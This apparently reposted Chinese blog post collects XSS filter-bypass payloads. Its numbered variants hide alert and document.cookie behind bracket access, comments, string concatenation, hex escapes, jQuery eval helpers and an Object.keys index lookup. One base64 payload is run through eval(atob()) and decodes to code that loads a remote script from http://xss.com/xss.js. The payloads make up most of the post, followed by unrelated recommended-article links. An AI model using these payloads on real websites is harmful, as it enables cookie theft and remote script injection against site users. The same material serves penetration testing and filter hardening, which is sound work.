各种变异绕过XSS过滤器(Various variations bypass the XSS filter )

文章来自:https://www.cnblogs.com/iAmSoScArEd/p/11287928.html  我超怕的

利用window等来操纵会被认为是全局变量 window.self 与self同样效果

1、window

window["document"]["cookie"] //代替document.cookie

2、window

window['alert'](["document"]["cookie"]); //代替 alert(document.cookie)

3、self

self["alert"]("123xss") ;//代替传统alert

4、注释

(/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替传统alert

5、利用拼接( self替换成window同样效果)

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替传统alert

6、利用十六进制( self替换成window同样效果)

self["\x61\x6c\x65\x72\x74"](

   self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]

       ["\x63\x6f\x6f\x6b\x69\x65"]

)   //alert(document.cookie)

7、利用BASE64( self替换成window同样效果)

self["\x65\x76\x61\x6c"]( //eval

  self["\x61\x74\x6f\x62"]( //atob   base-64解码方法,base-64 编码使用方法是 btoa()

 "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=")

)//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);

8、利用JQuery

1) self["$"]["globalEval"]("alert(123)");  //alert(123)

2) self["\x24"](//$

  self["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x64"]//globalEval

  ["\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29"] //alert(123)
)

3) self["$"]["getScript"](url). getScript //从url获取js脚本

9、利用Object.keys

 a=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //获取alert在数组中的位置
self[Object.keys(self)[7]]("123") // 假设通过上述代码执行结果为7 执行效果:alert("123")
//如果不允许我们使用“alert”字符串,并且上面的方法都不能使用,
//我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。
//我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。
//然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$: a = function() {
c=0;
for(i in self) {
if(/^a[rel]+t$/.test(i)) return c;
c++;
}
} a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
self[Object.keys(self)[a()]]("123") // alert("123")

以上思路来自 嘶吼。

各种变异绕过XSS过滤器的更多相关文章

  1. xss的变形--如何绕过xss过滤

    我们可以通过构造xss代码进行各种变形,以绕过xss过滤器的检测 1.大小写检测 将payload进行大小写转化 如<Img SRC='#'  Onerror="alert(/xss/ ...

  2. WAF指纹识别和XSS过滤器绕过技巧

    [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...

  3. 基于黑名单的xss过滤器

    /** * 类名称:AntiXssFilter * @version * 类描述:基于黑名单的xss过滤器 * @version * 创建人:xxx * @version * 创建时间:2015年11 ...

  4. Chrome和IE的xss过滤器分析总结

    chrome的xss过滤器叫xssAuditor,类似IE的xssFilter,但是他们有很大的内在区别 chrome xssAuditor工作原理 chrome的xss检测名称为 xssAudito ...

  5. XSS过滤器的实现

    一.XSS是什么 全称跨站脚本(cross site script)XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去.使别的用户访问 ...

  6. 跨站点脚本编制 - SpringBoot配置XSS过滤器(基于mica-xss)

    1. 简介   XSS,即跨站脚本编制,英文为Cross Site Scripting.为了和CSS区分,命名为XSS.   XSS是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码 ...

  7. 跨站点脚本编制 - SpringBoot配置XSS过滤器(基于Jsoup)

    1. 跨站点脚本编制   风险:可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务.   原因:未对用户输入正确执行危险字符清 ...

  8. 绕过XSS过滤姿势总结

    0x01 弹窗关键字检测绕过 基本WAF都针对常用的弹窗函数做了拦截,如alert().prompt().confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert( ...

  9. XSS之绕过WAF总结

    来源<XSS跨站脚本攻击剖析与防御>&<WEB前端技术揭秘> 一.一般测试方法 步骤: 0.总则:见框就插 1.在输入框随便输入一些简单的字符,如 aaa,方便后续查找 ...

随机推荐

  1. dockerfile文件语法命令

    dockerfile文件语法命令 (1) FROM命令,支持两种形式,构建新镜像使用的基础镜像,所以源镜像必须存在,并且是非注释的第一条命令. DOCKERFILEFORM <image> ...

  2. vue 创建监听,和销毁监听(addEventListener, removeEventListener)

    最近在做一个有关监听scroll的功能, 发现我添加监听之后一直不起作用: 1 2 mounted() {     window.addEventListener("scroll" ...

  3. Java-JUC(十二):有3个线程。线程A和线程B并行执行,线程C需要A和B执行完成后才能执行。可以怎么实现?

    方案(一)CountDownLatch: 使用CountDownLatch+Semaphore方式实现: import java.util.concurrent.CountDownLatch; imp ...

  4. jenkins报错Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password) 的处理

    问题背景:jenkins服务器发布代码后需要执行删除缓存的操作ssh -p222 eus_pe_devadmin@1.1.1.1 "sudo rm -rf /dev/shm/nginx/hi ...

  5. BDD介绍

    TDD: TDD(Test-Drivern Development)测试驱动开发,是敏捷开发中的一项核心实践和技术,也是一种设计方法论.TDD的原理是在开发功能代码之前,先编写单元测试用例代码,测试代 ...

  6. 一秒解决CentOS下service 功能 不能使用 bash: service: command not found

    首先检查自己是否 使用的是root用户 如果是并且还不能用-----执行以下操作 在centos系统中,如果/sbin目录下没有service这个命令,就会出现 bash: service: comm ...

  7. [LeetCode] 284. Peeking Iterator 瞥一眼迭代器

    Given an Iterator class interface with methods: next() and hasNext(), design and implement a Peeking ...

  8. Java 8 集合之流式(Streams)操作, Streams API 详解

    因为当时公司的业务需要对集合进行各种各样的业务逻辑操作,为了提高性能,就用到了这个东西,因为以往我们以前用集合都是需要去遍历(串行),所以效率和性能都不是特别的好,而Streams就可以使用并行的方式 ...

  9. Java开发笔记(一百三十七)JavaFX的标签

    前面介绍了JavaFX的窗口框架,其中舞台.场景.窗格都能与AWT/Swing体系的相关概念一一对应,不仅如此,JavaFX的常见控件也能在Swing中找到相应的控件.比如JavaFX的按钮控件名叫B ...

  10. easyui_datagrid实现导出Excel

    easyui_datagrid实现导出Excel 一.PHPExcel使用方法 先下载PHPExcel类库文件,并引入. 二.利用AJAX实现datagrid导出Excel 原理:前台通过AJAX调用 ...